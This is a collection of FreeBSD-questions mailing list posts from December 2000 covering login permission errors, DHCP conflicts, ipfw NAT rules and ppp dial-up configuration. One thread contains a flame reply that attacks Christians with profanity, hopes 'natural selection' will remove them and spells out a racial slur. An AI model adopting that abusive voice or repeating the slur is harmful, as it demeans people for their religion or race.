no way to do a LS on it to see them (or none that I know of)

I did a:
chmod 755 /
and all is well.  Now on to fixing these sendmail and apache issues.  Thanks
for the quick reply

----- Original Message -----
From: "Donald J . Maddox" <dmaddox@sc.rr.com>
To: "Jason" <kib@mediaone.net>
Sent: Tuesday, December 19, 2000 4:53 PM
Subject: Re: no users i create can login


> I had problems similar to this once when a rogue install changed
> permissions on the / dir.  Shutdown to single user, then
> chmod 0755 /
>
> HTH
>
> On Tue, Dec 19, 2000 at 07:48:14PM -0800, Jason wrote:
> > It all started with multiple sendmail errors and apache permission
errors
> > and I don't know what caused this.  I thought reinstalling BSD then
apache
> > might help but in the process I seem to have made matters worse.  I am
using
> > 4.1.1-Release for i386.  Here are is the symtpoms of the problem...below
is
> > the history leading up to the situation.
> >
> > When I try to su to my account from root I get the following:
> > su: /bin/tcsh: Permission denied
> >
> > When I try to logon from console I get the following:
> > <date/time> <hostname> login: _secure_path: cannot stat
> > /home/<user>/.login_conf: Permission denied
> > <date/time> <hostname> login: _secure_path: cannot stat /etc/login.conf:
> > Permission denied
> > Cannot find root directory.
> > <date/time> <hostname> login: LOGIN <user> REFUSED (ROOTDIR) ON TTY
ttyv0
> >
> > Here are the events that led to my current situation:
> > used /stand/sysinstall to do custom install on an already operating
system
> > with constant sendmail problems errrors messages (I dont even use
sendmail).
> > I thought I may have corrupted some conf file somewhere and didnt know
how
> > to find it.  I then reinstalled Apache after I backed up all existing
files.
> > This is when I noted my group www was no longer valid and I discovered
all
> > my users were no longer built even though the /usr/home/* were still
there.
> >
> > I figured I had to recreate all the users and groups I need to operate
as
> > before.  So I began with my own account.  It seemed to add properly
using
> > adduser but the files in /usr/home/<myacct> was all assigned to the
> > incorrect UID and GID.  I realized the GID and UID were from the old
> > accounts so I thought it best to start with a clean /usr/home area.
> > I changed home to homeold and created a new /usr/home folder.  I then
rmuser
> > all accounts and started over.  I created an account for myself and
verified
> > the /usr/home/<myacct> looked good.  IE All files in my home was
assigned to
> > my account name and my group name (username and group name is the same
for
> > now)
> >
> > any help would be appreciated...once I get this resolved I can move on
the
> > myraid of other problems I seem to have developed within the last few
days.
> > for now just one fix at a time so I can get a handle on this.  But for
the
> > record here are the other problems I have in case they may be part of
this.
> >
> > <dat/time> <hostname> sendmail[578]: eBJJSxf00578: forward
> > /home/<user>.forward: Permission denied
> >
> > <dat/time> <hostname> sendmail[578]: eBJJSxf00578: SYSERR(root) hash map
> > "Alias0": missing map file /etc/mail/aliases.db: No such file or
directory
> > (message similar to this before the reinstall stated something about
> > dangerous global map I thiink....cant seem to find the older sytem
messages
> > anymore)
> >
> > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR: putoutmsg
(NO-HOST):
> > error on output channel sending "454 4.8.8 fill_fd: before readcf: fd 1
not
> > open: Bad file descriptor": Input/output error
> >
> > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd:
before
> > readcf: fd 1 not open: VBad file descriptor
> >
> > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd:
before
> > readcf: fd 2 not open: VBad file descriptor
> >
> > Thats all I can fine in the last 24 hours.  I can use all the help you
can
> > offer this time.  Spelling or syntax might be off since I transcribed
all
> > messages by hand because I am only root account works right now and it
wont
> > allow me to telnet to that login.
> >
> > Thanks
> > Jason
> >
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message



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Try:

# ls -ld /

On Tue, Dec 19, 2000 at 08:11:55PM -0800, Jason wrote:
> Don't I feel stupid.  I didnt know / had permissions since there seems to be
> no way to do a LS on it to see them (or none that I know of)
> 
> I did a:
> chmod 755 /
> and all is well.  Now on to fixing these sendmail and apache issues.  Thanks
> for the quick reply
> 
> ----- Original Message -----
> From: "Donald J . Maddox" <dmaddox@sc.rr.com>
> To: "Jason" <kib@mediaone.net>
> Sent: Tuesday, December 19, 2000 4:53 PM
> Subject: Re: no users i create can login
> 
> 
> > I had problems similar to this once when a rogue install changed
> > permissions on the / dir.  Shutdown to single user, then
> > chmod 0755 /
> >
> > HTH
> >
> > On Tue, Dec 19, 2000 at 07:48:14PM -0800, Jason wrote:
> > > It all started with multiple sendmail errors and apache permission
> errors
> > > and I don't know what caused this.  I thought reinstalling BSD then
> apache
> > > might help but in the process I seem to have made matters worse.  I am
> using
> > > 4.1.1-Release for i386.  Here are is the symtpoms of the problem...below
> is
> > > the history leading up to the situation.
> > >
> > > When I try to su to my account from root I get the following:
> > > su: /bin/tcsh: Permission denied
> > >
> > > When I try to logon from console I get the following:
> > > <date/time> <hostname> login: _secure_path: cannot stat
> > > /home/<user>/.login_conf: Permission denied
> > > <date/time> <hostname> login: _secure_path: cannot stat /etc/login.conf:
> > > Permission denied
> > > Cannot find root directory.
> > > <date/time> <hostname> login: LOGIN <user> REFUSED (ROOTDIR) ON TTY
> ttyv0
> > >
> > > Here are the events that led to my current situation:
> > > used /stand/sysinstall to do custom install on an already operating
> system
> > > with constant sendmail problems errrors messages (I dont even use
> sendmail).
> > > I thought I may have corrupted some conf file somewhere and didnt know
> how
> > > to find it.  I then reinstalled Apache after I backed up all existing
> files.
> > > This is when I noted my group www was no longer valid and I discovered
> all
> > > my users were no longer built even though the /usr/home/* were still
> there.
> > >
> > > I figured I had to recreate all the users and groups I need to operate
> as
> > > before.  So I began with my own account.  It seemed to add properly
> using
> > > adduser but the files in /usr/home/<myacct> was all assigned to the
> > > incorrect UID and GID.  I realized the GID and UID were from the old
> > > accounts so I thought it best to start with a clean /usr/home area.
> > > I changed home to homeold and created a new /usr/home folder.  I then
> rmuser
> > > all accounts and started over.  I created an account for myself and
> verified
> > > the /usr/home/<myacct> looked good.  IE All files in my home was
> assigned to
> > > my account name and my group name (username and group name is the same
> for
> > > now)
> > >
> > > any help would be appreciated...once I get this resolved I can move on
> the
> > > myraid of other problems I seem to have developed within the last few
> days.
> > > for now just one fix at a time so I can get a handle on this.  But for
> the
> > > record here are the other problems I have in case they may be part of
> this.
> > >
> > > <dat/time> <hostname> sendmail[578]: eBJJSxf00578: forward
> > > /home/<user>.forward: Permission denied
> > >
> > > <dat/time> <hostname> sendmail[578]: eBJJSxf00578: SYSERR(root) hash map
> > > "Alias0": missing map file /etc/mail/aliases.db: No such file or
> directory
> > > (message similar to this before the reinstall stated something about
> > > dangerous global map I thiink....cant seem to find the older sytem
> messages
> > > anymore)
> > >
> > > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR: putoutmsg
> (NO-HOST):
> > > error on output channel sending "454 4.8.8 fill_fd: before readcf: fd 1
> not
> > > open: Bad file descriptor": Input/output error
> > >
> > > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd:
> before
> > > readcf: fd 1 not open: VBad file descriptor
> > >
> > > <date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd:
> before
> > > readcf: fd 2 not open: VBad file descriptor
> > >
> > > Thats all I can fine in the last 24 hours.  I can use all the help you
> can
> > > offer this time.  Spelling or syntax might be off since I transcribed
> all
> > > messages by hand because I am only root account works right now and it
> wont
> > > allow me to telnet to that login.
> > >
> > > Thanks
> > > Jason
> > >
> > >
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-questions" in the body of the message
> 


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/*
I noticed Yahoo has you listed as one of their business supporters. I
stopped using Yahoo aggressively after I realized they support all religions
except Christianity. Just try to find a Christmas card about Christ amongst
all the other religious cards they freely give users access to on their main
page for "Christmas".  Since Yahoo refuses to acknowledge Christmas as an
American Religious Holiday, like the other ones they list, I figured this
year I would sent out a Christmas card from their service to all my family,
friends, business associates, clients, & online news media simply explaining
what I've observed and how it makes me feel.  I also will list all the
sponsors, advertisers, & partners as supporters.  You don't need to respond
to me. YOU NEED TO REACT TO THEM.  In Him -Debbie
*/

Yahoo uses FreeBSD.  That's why they are supported.  What the fuck does that
have to do with Christianity ?  How the hell can you assume that everyone
associated with FreeBSD is a Christian ?  Your Christian arrogance is common
but it still makes me sick.  Of course SOME people who use FreeBSD are
Christians, but others of us are not.  Look at it from our point of view.
Christ has NOTHING to do with FreeBSD.  Another Christian bigot that assumes
that everyone else in the world is Christian by default.  Keep your beliefs
to yourself Christian.  Why don't you go boycott Disneyland because Mickey
Mouse is a false idol or something ?  I'm waiting for natural selection to
take care of your kind.

I apologize to everyone else on this list but if someone had came on the
list using the word "nigger" or any other sort of bigotry, I would react the
same.  I am not a Christian, I know there are millions of other people out
there who are not Christians, and I don't see how someone could say "Why
does FreeBSD associate with a company that doesn't support Christianity ?!"
That is the stupidest thing I've heard in a LONG time, and it makes me sick
to my stomach.  Like network operating systems have anything to do with
religion (unless you pray for your server to work)  ;)





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I have been having a huge problem with DHCP IP addresses provided by my ISP
on a DSL line.  I am beginning to think it might be something on my side
since none of my Win9x boxes ever have this trouble but both of my BSD boxes
do this ever couple weeks.  My ISP is worthless as I have had a ticket open
with them in "Emergency Status" for several days now and it is pending
review from Tier 2 (who never answers the phone when I call)

Besides my dealings with my poor ISP whoich will remain nameless (covad) for
now I am thinking the only common factor I can find s OS so I thought I have
better ask here.

My ISP formed me to switch to DHCP from a static IP and ever since I get ip
conflicts from time to time.  BSD reports the ip is already in use and I
lose all intenret connectivity.
upon runing hdclient I get the following message:
ipconfig: ioctl (SIOCAIFADDR): File exists
<date/time> dhclient:  Can't bind to dhcp address: Address already in use
<same message again>
<same message again>
<date/time> dhclient: exiting
<same message again>
<same message again>

My oonly indication the problem exists is my apache server rufuses all
connections because it cant contact the DNS server for lookups (security
feature I must impliment for all who login)

Obviously the ip is accepting connections if users can reach my web server
at all...I can even telnet to the box until I run dhclient...then all ip
access is lost until my dhcp lease expires (every 24 hours) or sometimes
longer.  The current outage is over 5 days old.

Also would be nice if I caould at least find a command that lists the ip and
mac address of a particualr interface.  All attempts to search handbook and
mailing list come up completely empty which I find real odd.  Even when I
search on "ip" I get nothing in the mailing lists and lots of unrealted
items from the handbook.  So I can only assume this command is either
nonexistant or so blindingly obvious no one ever asks this question.

Thanks

I have many more problems to follow...but one at a time...I am sick and
tired of dealing with all these problems as the longer they exist the more
service affecting they seem to become.



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I stopped doing that when I formated my NT4 box for FreeBSD 3.3  :)
Now I have more heair on my head and more time to pray for more improtant
things....like having enough APC units to withstand the next inevidable
power failure.

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-sniped all the flames-
> Like network operating systems have anything to do with
> religion (unless you pray for your server to work)  ;)
>
>
>
>
>
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On Tuesday, 19 December 2000 at 18:34:00 +0900, FITH wrote:
> On Tue, Dec 19, 2000 at 01:29:46AM -0800, Mail Delivery System wrote:
>  I use FreeBSD 4.1 ...
>  I want KERNEL BUILD...so..KERNEL conf...like below

I don't see a problem.

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Do you have power failures in yankeeland too ??

and here I was thinking they only happened in OZ !!!!!!

----- Original Message -----
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> I stopped doing that when I formated my NT4 box for FreeBSD 3.3  :)
> Now I have more heair on my head and more time to pray for more improtant
> things....like having enough APC units to withstand the next inevidable
> power failure.
>
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>
> -sniped all the flames-
> > Like network operating systems have anything to do with
> > religion (unless you pray for your server to work)  ;)
> >
> >
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On Tue, 19 Dec 2000, Andrey Mavrichev wrote:

> Hi,
> 
> I have tried to use the "cc" compiler of the FreeBSD 4.2, and to support
> the C++ stream input/output I included the directive "#include
> <iostream.h>". However, I did not find this file in the /usr/include
> directory, or any other directory where there was a possibility of it
> being found.
> 
> Does the compiler of FreeBSD 4.2 support C++, or is it just C, and I
> would have to install a C++ - supporting software? If not, then where is
> the "iostream.h"?
> 
> Thank you for your time,
> Andrey Mavrichev.
> 
> mavrichev@yahoo.com
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Hello all.
I'm in the process of learning more about FreeBSD. To be honest I have 
spend hard times (I'm sorry I came from MS world). FreeBSD works and 
installed without problems, things is that I still need to get used to work 
with it.
Anyway, I finally could instalL QPOPER (from the PORTS area) but works VERY 
SLOW.
My testing and learning machine is a PII 350Mhz 128RAM 1 Hd 8GB, I'm 
running only apache,mysql and smtp (learning how to configure all) under 
FreeBSD 3.2
Since it is my testing machine it doesn't matter if QPOPPER is slow but 
this sure couldn't be a production machine for an ISP business.
How can I do that QPOPPER runs faster?

Thanks in advance.

JB



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Hello,

	I was wondering if any knows where I can find some info on setting
up a firewall with ipfw and allowing all the boxes behind the gateway/firewall 
access to the net.  I thought this would do it:

        # Allow all from the inside.
        ${fwcmd} add pass all from any to any via ${iif}
        ${fwcmd} add pass all from any to any out via ${oif}

but it dosen't quite work.  I still can't check out the  web from behind
the firewall.  I'm using the "simple" ipfw firewall with the only modifications
above.  I was unable to ping the gateway/firewall from the client till I added
those rules.  Should I setup a proxy?  But how am I gonna use napster?  ;-)
Or am I just plain confused on how this all works?  Is there an easier way,
then setting up a complicated ipfw rule set?


				Thanks for any input,
				Eric Brueggmann

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Thanks....you know I tried every cobination of ipconfig I could think
of....thats to due with my long lost days of NT  :)

now at least I wont sound stipid to the tech support guy on the phone when
he asks me what mac/ip I have on each interface.

Thanks again
----- Original Message -----
From: "Donald J . Maddox" <dmaddox@sc.rr.com>
To: "Jason" <kib@mediaone.net>
Sent: Tuesday, December 19, 2000 5:58 PM
Subject: Re: DHCP Client


> To see the address of an interface:
>
> # ifconfig <interface>
>
> It sounds like you are running dhclient by hand after the machine
> boots, is that right?  Normally, an interface is configured with
> DHCP by having lines in /etc/rc.conf like:
>
> network_interfaces="dc0 lo0"
> ifconfig_dc0="DHCP"
>
> in which case the rc script configures the interface (runs dhclient),
> at boot, and you should not rerun it.
>
> On Tue, Dec 19, 2000 at 08:41:35PM -0800, Jason wrote:
> > I have been having a huge problem with DHCP IP addresses provided by my
ISP
> > on a DSL line.  I am beginning to think it might be something on my side
> > since none of my Win9x boxes ever have this trouble but both of my BSD
boxes
> > do this ever couple weeks.  My ISP is worthless as I have had a ticket
open
> > with them in "Emergency Status" for several days now and it is pending
> > review from Tier 2 (who never answers the phone when I call)
> >
> > Besides my dealings with my poor ISP whoich will remain nameless (covad)
for
> > now I am thinking the only common factor I can find s OS so I thought I
have
> > better ask here.
> >
> > My ISP formed me to switch to DHCP from a static IP and ever since I get
ip
> > conflicts from time to time.  BSD reports the ip is already in use and I
> > lose all intenret connectivity.
> > upon runing hdclient I get the following message:
> > ipconfig: ioctl (SIOCAIFADDR): File exists
> > <date/time> dhclient:  Can't bind to dhcp address: Address already in
use
> > <same message again>
> > <same message again>
> > <date/time> dhclient: exiting
> > <same message again>
> > <same message again>
> >
> > My oonly indication the problem exists is my apache server rufuses all
> > connections because it cant contact the DNS server for lookups (security
> > feature I must impliment for all who login)
> >
> > Obviously the ip is accepting connections if users can reach my web
server
> > at all...I can even telnet to the box until I run dhclient...then all ip
> > access is lost until my dhcp lease expires (every 24 hours) or sometimes
> > longer.  The current outage is over 5 days old.
> >
> > Also would be nice if I caould at least find a command that lists the ip
and
> > mac address of a particualr interface.  All attempts to search handbook
and
> > mailing list come up completely empty which I find real odd.  Even when
I
> > search on "ip" I get nothing in the mailing lists and lots of unrealted
> > items from the handbook.  So I can only assume this command is either
> > nonexistant or so blindingly obvious no one ever asks this question.
> >
> > Thanks
> >
> > I have many more problems to follow...but one at a time...I am sick and
> > tired of dealing with all these problems as the longer they exist the
more
> > service affecting they seem to become.
> >
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You woldnt believe.  comes with the fact I live way out in the boonies.
Everytime the wind blows too hard power comes and goes....if its real bad it
can go down for hours/days.

and I live in a state not really known for wind problems.  Just the long
haul power lines are stretched a long ways between poles and the wind can
invoke a safety mechanism that opens the curcuit in case power line if broke
under the stress.

----- Original Message -----
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> Do you have power failures in yankeeland too ??
>
> and here I was thinking they only happened in OZ !!!!!!
>
> ----- Original Message -----
> From: "Jason" <kib@mediaone.net>
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>
>
> > I stopped doing that when I formated my NT4 box for FreeBSD 3.3  :)
> > Now I have more heair on my head and more time to pray for more
improtant
> > things....like having enough APC units to withstand the next inevidable
> > power failure.
> >
> > ----- Original Message -----
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> > To: <ldmservices@charter.net>; <freebsd-questions@FreeBSD.ORG>
> > Sent: Tuesday, December 19, 2000 5:35 PM
> > Subject: Re: Why do you support Yahoo!
> >
> >
> > -sniped all the flames-
> > > Like network operating systems have anything to do with
> > > religion (unless you pray for your server to work)  ;)
> > >
> > >
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to add to my earier problem
ifconfig reports 0.0.0.0 assigned to my network instface connected to my DSL
router and dhclient still reports ip is already in use somewhere else.

is this my ISP or my problem?

----- Original Message -----
From: "Donald J . Maddox" <dmaddox@sc.rr.com>
To: "Jason" <kib@mediaone.net>
Sent: Tuesday, December 19, 2000 5:58 PM
Subject: Re: DHCP Client


> To see the address of an interface:
>
> # ifconfig <interface>
>
> It sounds like you are running dhclient by hand after the machine
> boots, is that right?  Normally, an interface is configured with
> DHCP by having lines in /etc/rc.conf like:
>
> network_interfaces="dc0 lo0"
> ifconfig_dc0="DHCP"
>
> in which case the rc script configures the interface (runs dhclient),
> at boot, and you should not rerun it.
>
> On Tue, Dec 19, 2000 at 08:41:35PM -0800, Jason wrote:
> > I have been having a huge problem with DHCP IP addresses provided by my
ISP
> > on a DSL line.  I am beginning to think it might be something on my side
> > since none of my Win9x boxes ever have this trouble but both of my BSD
boxes
> > do this ever couple weeks.  My ISP is worthless as I have had a ticket
open
> > with them in "Emergency Status" for several days now and it is pending
> > review from Tier 2 (who never answers the phone when I call)
> >
> > Besides my dealings with my poor ISP whoich will remain nameless (covad)
for
> > now I am thinking the only common factor I can find s OS so I thought I
have
> > better ask here.
> >
> > My ISP formed me to switch to DHCP from a static IP and ever since I get
ip
> > conflicts from time to time.  BSD reports the ip is already in use and I
> > lose all intenret connectivity.
> > upon runing hdclient I get the following message:
> > ipconfig: ioctl (SIOCAIFADDR): File exists
> > <date/time> dhclient:  Can't bind to dhcp address: Address already in
use
> > <same message again>
> > <same message again>
> > <date/time> dhclient: exiting
> > <same message again>
> > <same message again>
> >
> > My oonly indication the problem exists is my apache server rufuses all
> > connections because it cant contact the DNS server for lookups (security
> > feature I must impliment for all who login)
> >
> > Obviously the ip is accepting connections if users can reach my web
server
> > at all...I can even telnet to the box until I run dhclient...then all ip
> > access is lost until my dhcp lease expires (every 24 hours) or sometimes
> > longer.  The current outage is over 5 days old.
> >
> > Also would be nice if I caould at least find a command that lists the ip
and
> > mac address of a particualr interface.  All attempts to search handbook
and
> > mailing list come up completely empty which I find real odd.  Even when
I
> > search on "ip" I get nothing in the mailing lists and lots of unrealted
> > items from the handbook.  So I can only assume this command is either
> > nonexistant or so blindingly obvious no one ever asks this question.
> >
> > Thanks
> >
> > I have many more problems to follow...but one at a time...I am sick and
> > tired of dealing with all these problems as the longer they exist the
more
> > service affecting they seem to become.
> >
> >
> >
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Check this site.

http://www.l0pht.com/antisniff/

>I am interested in knowing all kinds of solutions to the sniffer problem:
>software (preffered) or hardware. I'd like some more generic solution, 
>which
>do not require any changed in the existing software configuration and allow
>the same functionality as we use now (broadcast can be screwed).
>
>Help!
>
>Regards,
>Artem
>
>
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Debbie Machado <ldmservices@charter.net> wrote:

> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all religions
> except Christianity.

They named a religion after me?

-- 
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> You woldnt believe.  comes with the fact I live way out in the boonies.
> Everytime the wind blows too hard power comes and goes....if its real bad
it
> can go down for hours/days.
>
> and I live in a state not really known for wind problems.  Just the long
> haul power lines are stretched a long ways between poles and the wind can
> invoke a safety mechanism that opens the curcuit in case power line if
broke
> under the stress.

I live in California.  We're almost always in a stage-3 power emergency
anymore.  Since the power companies were deregulated here (not considered
utilities anymore basically), they have shut down a bunch of plants for
"maintenance" (really so they can jack up the prices).  Our power bill has
gone up to double what it once was.  And since there's not enough power
here, with half the reactors offline and all, (for "maintenance") we have
rolling blackouts up and down the state, companies are asked to shutdown
production in order to keep the power online, and I usually come back every
Monday to find that my APC couldn't keep my two Netfinities online long
enough and my server was rebooted over the weekend due to powerfailures.
This of course corrupts my database, which is rebuilding the links over the
weekend, and doing other cleanup, leading to bad data in the database.  heh.
This is getting out of hand.  They have more stable power facilities in 3rd
world countries.  At least the wind is innocent, and it's not intentionally
trying to screw you over :)




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We get plenty power outages even in capital cities here thanks to various
political games being played by .....hmmmmmm now there's a story that some
one the list might appreciate :)

Were you aware where the word "politics" originated ??

Well firstly there's "poli" which comes from some old greek / roman / latin
/ whatever
and means "many" ..... then there's "ticks", which as we all know are
"bloodsucking parasites" .........ergo ..... policics means "many
bloodsucking parasites" !!!!!!


----- Original Message -----
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To: "Doug Young" <dougy@bryden.apana.org.au>; "Jeremiah Gowdy"
<jgowdy@home.com>; <ldmservices@charter.net>;
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> You woldnt believe.  comes with the fact I live way out in the boonies.
> Everytime the wind blows too hard power comes and goes....if its real bad
it
> can go down for hours/days.
>
> and I live in a state not really known for wind problems.  Just the long
> haul power lines are stretched a long ways between poles and the wind can
> invoke a safety mechanism that opens the curcuit in case power line if
broke
> under the stress.
>
> ----- Original Message -----
> From: "Doug Young" <dougy@bryden.apana.org.au>
> To: "Jason" <kib@mediaone.net>; "Jeremiah Gowdy" <jgowdy@home.com>;
> <ldmservices@charter.net>; <freebsd-questions@FreeBSD.ORG>
> Sent: Tuesday, December 19, 2000 5:59 PM
> Subject: Re: Why do you support Yahoo!
>
>
> > Do you have power failures in yankeeland too ??
> >
> > and here I was thinking they only happened in OZ !!!!!!
> >
> > ----- Original Message -----
> > From: "Jason" <kib@mediaone.net>
> > To: "Jeremiah Gowdy" <jgowdy@home.com>; <ldmservices@charter.net>;
> > <freebsd-questions@FreeBSD.ORG>
> > Sent: Wednesday, December 20, 2000 2:48 PM
> > Subject: Re: Why do you support Yahoo!
> >
> >
> > > I stopped doing that when I formated my NT4 box for FreeBSD 3.3  :)
> > > Now I have more heair on my head and more time to pray for more
> improtant
> > > things....like having enough APC units to withstand the next
inevidable
> > > power failure.
> > >
> > > ----- Original Message -----
> > > From: "Jeremiah Gowdy" <jgowdy@home.com>
> > > To: <ldmservices@charter.net>; <freebsd-questions@FreeBSD.ORG>
> > > Sent: Tuesday, December 19, 2000 5:35 PM
> > > Subject: Re: Why do you support Yahoo!
> > >
> > >
> > > -sniped all the flames-
> > > > Like network operating systems have anything to do with
> > > > religion (unless you pray for your server to work)  ;)
> > > >
> > > >
> > > >
> > > >
> > > >
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Frank Sonnemans schrieb:
> 
> Currently I am crashing my FreeBSD workstation by filling up the kernels
> file table. I suspect that the KDE Conquerer is eating file handles, but it
> might be the Apache / Mason / DBI trio running at localhost. How can I
> check which application is filling up the kernels file table?
> 

Just an idea: Limit the number of open files for all users in
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before crashing. Check with lsof what app opens the files.

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Is there an easy way to generate a suite of patch files for a
port. For instance, instead of doing a recursive diff on a directory
and having a large patchfile with multiple files and the need for
interaction, is there a way to recursivly diff two directories and
attain different patch files for each file? That would make my current
porting project easier. (this isn't on ports because it seemed like a
more general question.)
____________________________________________________________
* Jeremiah Gowdy <jgowdy@home.com> [001219 20:56]:
> I apologize to everyone else on this list but if someone had came on the
> list using the word "nigger" or any other sort of bigotry, I would react the
> same.  I am not a Christian, I know there are millions of other people out
> there who are not Christians, and I don't see how someone could say "Why

As a fellow non-christian (and one of those other things you mentioned
up there as well) all I can say is "AMEN, BROTHER!"

(The beastie logo comment was the funniest thing I heard in a while)
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While running configure for glib-1.3, I got this err:

configure error: *** No iconv() implementation found in C library or 
libiconv

I am ultimately attempting to install Jungle Monkey (search client for 
mp3's).

Does anyone know of any other easy to install mp3 search clients that don't 
require glib1.3 (I have glib1.2.2)?

If not how would I go about installing glib-1.3 given the erro I received 
(above)?

Thanks,
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Eric Brueggmann wrote:

> Hello,
> 
> 	I was wondering if any knows where I can find some info on setting
> up a firewall with ipfw and allowing all the boxes behind the gateway/firewall 
> access to the net.  I thought this would do it:
> 
>         # Allow all from the inside.
>         ${fwcmd} add pass all from any to any via ${iif}
>         ${fwcmd} add pass all from any to any out via ${oif}
> 
> but it dosen't quite work.  I still can't check out the  web from behind
> the firewall.  I'm using the "simple" ipfw firewall with the only modifications
> above.  I was unable to ping the gateway/firewall from the client till I added
> those rules.  Should I setup a proxy?  But how am I gonna use napster?  ;-)
> Or am I just plain confused on how this all works?  Is there an easier way,
> then setting up a complicated ipfw rule set?

The Handbook has a section on firewalls and NAT. You might also want to 
read man natd, and man ipfw. Finally, take a look at /etc/rc.firewall.

HTH
Victor Cardona
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I've been using earthlink for about a year without a problem.  I think you
may have forgotten your "realm" in the authname (see my .conf below).  I
have to put an "ELN/" before my login name.  They changed this about 6-8
months ago.  It took a while with their tech support to figure this out.
If I connected manually I got a command line, ppp wouldn't kick off.

Scott


default:
 
 set device /dev/cuaa0
 
 set log Phase Chat LCP IPCP CCP tun command
 set speed 115200
 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 2 \"\" AT OK-AT-OK ATE1Q0
OK ATL1 OK \\dATDT\\T TIMEOUT 40 CONNECT"
 
 set timeout 300
 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
 iface clear
 delete ALL
 add default HISADDR
 enable dns
 
 
earthlink:
 
 set phone 1234567
 set authname ELN/loginname
 set authkey mypass


On Tue, 19 Dec 2000, Patrick Seal wrote:

> I've decided to try out earthlink but I can't seem to connect. I've been
> using a local ISP who I need to connect the old fashion way of a login
> script, but earthlink uses PAP/CHAP.
> 
> I'm running stable since yesterday (when new ppp code was released I
> decided to cvsup and see if it would work)
> 
> BTW, I know my username and password are corect.
> 
> Thanks,
> 
> Here's my config:
> 
> default:
>  ident user-ppp VERSION (built COMPILATIONDATE)
>  set log Phase Chat LCP IPCP CCP tun command
> [cut]
> 
> radixnet:
>  set phone 3016383300|3016457766
>  set login "ABORT NO\\sCARRIER TIMEOUT 10 Net>):--Net>): ppp \
>             name: patseal word: ********"
> 
> earthlink:
>  set phone 2403526884|3016383240
>  set authname patseal
>  set authkey ********
> 
> 
> Here's the relevant error message for the first phone number of earthlink:
> [cut]
> Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set phone 2403526884|3016383240 
> Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set authname patseal 
> Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set authkey ******** 
> [cut]
> Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: FSM: Using "deflink" as a transport 
> Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: deflink: State change Initial --> Closed 
> Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: deflink: State change Closed --> Stopped 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: LayerStart 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigReq(1) state = Stopped 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1500 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x36357960 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Stopped --> Req-Sent 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigReq(1) state = Req-Sent 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRRU[4] 1514 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ENDDISC[3] Null Class 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigRej(1) state = Req-Sent 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRRU[4] 1514 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: Sending ident magic 36357960 text user-ppp 2.3 (built Dec 18 2000) 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendIdent(0) state = Req-Sent 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigAck(1) state = Req-Sent 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Req-Sent --> Ack-Rcvd 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigReq(2) state = Ack-Rcvd 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigAck(2) state = Ack-Rcvd 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
